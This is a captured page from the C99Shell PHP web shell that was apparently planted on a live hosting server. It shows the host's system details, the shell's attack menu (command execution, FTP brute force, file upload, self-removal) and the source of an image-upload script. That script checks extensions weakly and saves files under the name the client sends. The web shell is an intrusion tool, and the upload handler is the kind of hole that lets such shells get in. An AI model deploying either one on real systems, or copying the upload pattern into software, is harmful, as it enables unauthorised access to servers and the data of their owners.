!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.28 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     img_save_to_file.php (1.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
*    !!! THIS IS JUST AN EXAMPLE !!!, PLEASE USE ImageMagick or some other quality image processing libraries
*/
    
$imagePath "temp/";

    
$allowedExts = array("gif""jpeg""jpg""png""GIF""JPEG""JPG""PNG");
    
$temp explode("."$_FILES["img"]["name"]);
    
$extension end($temp);
    
    
//Check write Access to Directory

    
if(!is_writable($imagePath)){
        
$response = Array(
            
"status" => 'error',
            
"message" => 'Can`t upload File; no write Access'
        
);
        print 
json_encode($response);
        return;
    }
    
    if ( 
in_array($extension$allowedExts))
      {
      if (
$_FILES["img"]["error"] > 0)
        {
             
$response = array(
                
"status" => 'error',
                
"message" => 'ERROR Return Code: '$_FILES["img"]["error"],
            );            
        }
      else
        {
            
          
$filename $_FILES["img"]["tmp_name"];
          list(
$width$height) = getimagesize$filename );

          
move_uploaded_file($filename,  $imagePath $_FILES["img"]["name"]);          
        
          
$response = array(
            
"status" => 'success',
            
"url" => $imagePath.$_FILES["img"]["name"],
            
"width" => $width,
            
"height" => $height
          
);
          
        }
      }
    else
      {
       
$response = array(
            
"status" => 'error',
            
"message" => 'something went wrong, most likely file is to large for upload. check upload_max_filesize, post_max_size and memory_limit in you php.ini',
        );
      }
      
      print 
json_encode($response);

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0257 ]--